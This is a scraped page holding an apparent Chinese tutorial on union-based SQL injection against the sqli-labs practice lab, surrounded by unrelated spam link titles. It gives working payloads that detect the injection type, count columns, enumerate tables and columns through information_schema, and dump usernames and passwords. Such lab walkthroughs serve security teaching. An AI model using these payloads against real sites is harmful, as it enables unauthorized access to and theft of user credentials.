当前位置: 首页 > news >正文

如何做电子书网站公司网站建设费用多少

如何做电子书网站,公司网站建设费用多少,wordpress连接服务器配置,互联网金融网站设计目录 注入类型 判断字段数 确定回显点 查找数据库名 查找数据库表名 查询字段名 获取想要的数据 以sqli-labs靶场上的简单SQL注入为例 注入类型 判断是数字类型还是字符类型 常见的闭合方式 ?id1、?id1"、?id1)、?id1")等,大多都是单引号…

目录

注入类型

判断字段数

确定回显点

查找数据库名

查找数据库表名 

查询字段名

获取想要的数据 


以sqli-labs靶场上的简单SQL注入为例

注入类型

判断是数字类型还是字符类型

常见的闭合方式

?id=1'、?id=1"、?id=1')、?id=1")等,大多都是单引号、双引号、括号的组合。

先尝试下字符型输入:?id=1'and 1=1#或者?id=1'and 1=1--+

(如果是字符型,可以用#或者--+或者%23注释掉单引号)

如果?id=1没有回显,那么输入?id=1 or 1=1(数字型)那么肯定会回显,输入?id=1' or 1=1--+(字符型)也肯定会回显(过滤字符可能不是--+,也可能是别的),但是用?id=1 and 1=1,或者?id=1' and 1=1--+不一定回显

99b4d6248638416f95196bb67e0dd04e.png

再试下:?id=1' and 1=2--+ 

541f7988e63143e385c3517388ef4e3d.png

没有回显 

证明是字符型输入,

回显是指页面有数据信息返回。无回显是指根据输入的语句,页面没有任何变化或者没有数据库中的内容显示到网页中。

如果是数字型输入,那么就可以正常输入:1

如何判断是字符型还是数字型呢,有一种方法:

数字型:

  • 1 and 1=1  //能回显
  • 1 and 1=2  //不能回显

字符型:

  • 1' and 1=1#  //能回显
  • 1' and 1=2#   //不能回显

判断字段数

判断字段数 order by

分四次输入:1' and 1=1 oder by 1--+   1' and 1=1 oder by 2--+  1' and 1=1 oder by 3--+    1' and 1=1 oder by 4--+

前两次都是正常回显,第三次报错,显示没有第三列,说明只有两个字段 61430bc38607457b99919a045eeb358c.png

 

确定回显点

输入:1' and 1=1 union select 1,2,3--+

a92613936d9846a4be8f648c23b1e987.png

发现1,2,3三个数没有一个回显,

因为第一个查询语句把后面的给挡住了,所以要把第一个查询语句失效

可以输入:1' and 1=2 union select 1,2,3--+  或者-1' union select 1,2,3--+

8af68d2db4ae452ea2409da9b5439198.png

2,3的位置成功回显 。2,3都可以是注入点 

 

就是可以更改这些点对应的相对的输入位置可以得到不同的输出;

查找数据库名

输入:-1' union select 1,2,database()--+

c074e8e5d02944a5b781f5f58df6c6bd.png

 得到对应的数据库名字:security

查找数据库表名 

849da3c5efd44846912a2cc425bae928.png

 输入:-1' union select 1,2,table_name from information_schema.tables where table_schema='security'--+

fc5a70c29ad24eb2ba38ac65b691832a.png

得到表名:emails,但是在这个数据库中可能不止一个表,所以我们要得到所有表,而不只是一个emails表

输入:-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

在mysql的关联查询或子查询中,函数 group_concat(arg) 可以合并多行的某列(或多列)数据为一行,默认以逗号分隔。

所以我们可以将tables表里面的所有tables_name表名合并成一行输出 

c55d5e0d9a7d4332a16fde4f268accb8.png

 显然我们想要的是users表

查询字段名

我们会用到上面图片中的column表

输入:-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

ea6eca5c7693439697826c4bd98faa22.png 7f982a26658f4723bc8ff2000e9e8a92.png

users表下的字段数很多,显然易见,我们想要获取的只是账号密码,所以,对我们有用的是username和password字段

获取想要的数据 

输入:-1' union select 1,2,group_concat(username,'-',password) from users --+

 ceceeb0f55d746e288b39f2ca349d448.png

成功得到对应的账号密码 

 

http://www.zhongyajixie.com/news/65166.html

相关文章:

  • 室内设计做效果图可以接单的网站推广资源整合平台
  • 免费可商用素材网站免费手机网页制作
  • 网站建设的元素网络营销方法和手段
  • 宜家家居官网网上商城seo网站优化系统
  • 网站举报宠物美容师宠物美容培训学校
  • 网站怎么做返回主页按钮百度热门关键词排名
  • 云数据库可以做网站吗搜索引擎优化简称
  • 中国智力技术合作公司官网关键词优化seo优化排名
  • 北京网站制作公司兴田德润可以不淘宝seo软件
  • 网站建设方案书1500百度app下载最新版
  • 网站 支付宝 接口浏览器打开是2345网址导航
  • 解析网站怎么做营销策略包括哪些内容
  • 广州网站建设品牌软文营销模板
  • 网站的设计 更新互联网营销工具有哪些
  • 电子商务网店设计鸡西seo顾问
  • 姚家园做网站兰州seo技术优化排名公司
  • 网站建设要求怎么制作网页链接
  • 门户网站整改报告舆情监测分析系统
  • 网站经常做封面的那些番号南京网站制作公司
  • 深圳高水平网站制作十大免费货源网站免费版本
  • 网站 动画 怎么做的seo网站推广专员招聘
  • 网站建设 ipv6重庆seo整站优化系统
  • 大良用户网站建设百度推广一般多少钱
  • 手机网站用什么制作站长平台工具
  • 南阳企业网站制作怎样宣传网站
  • 同江佳木斯网站建设sem是什么基团
  • 外包人员代做seo排名
  • 网站群方案网站加速器
  • 移动网站自助制作百度搜索网页版
  • 做淘客网站多少钱小广告怎么能弄干净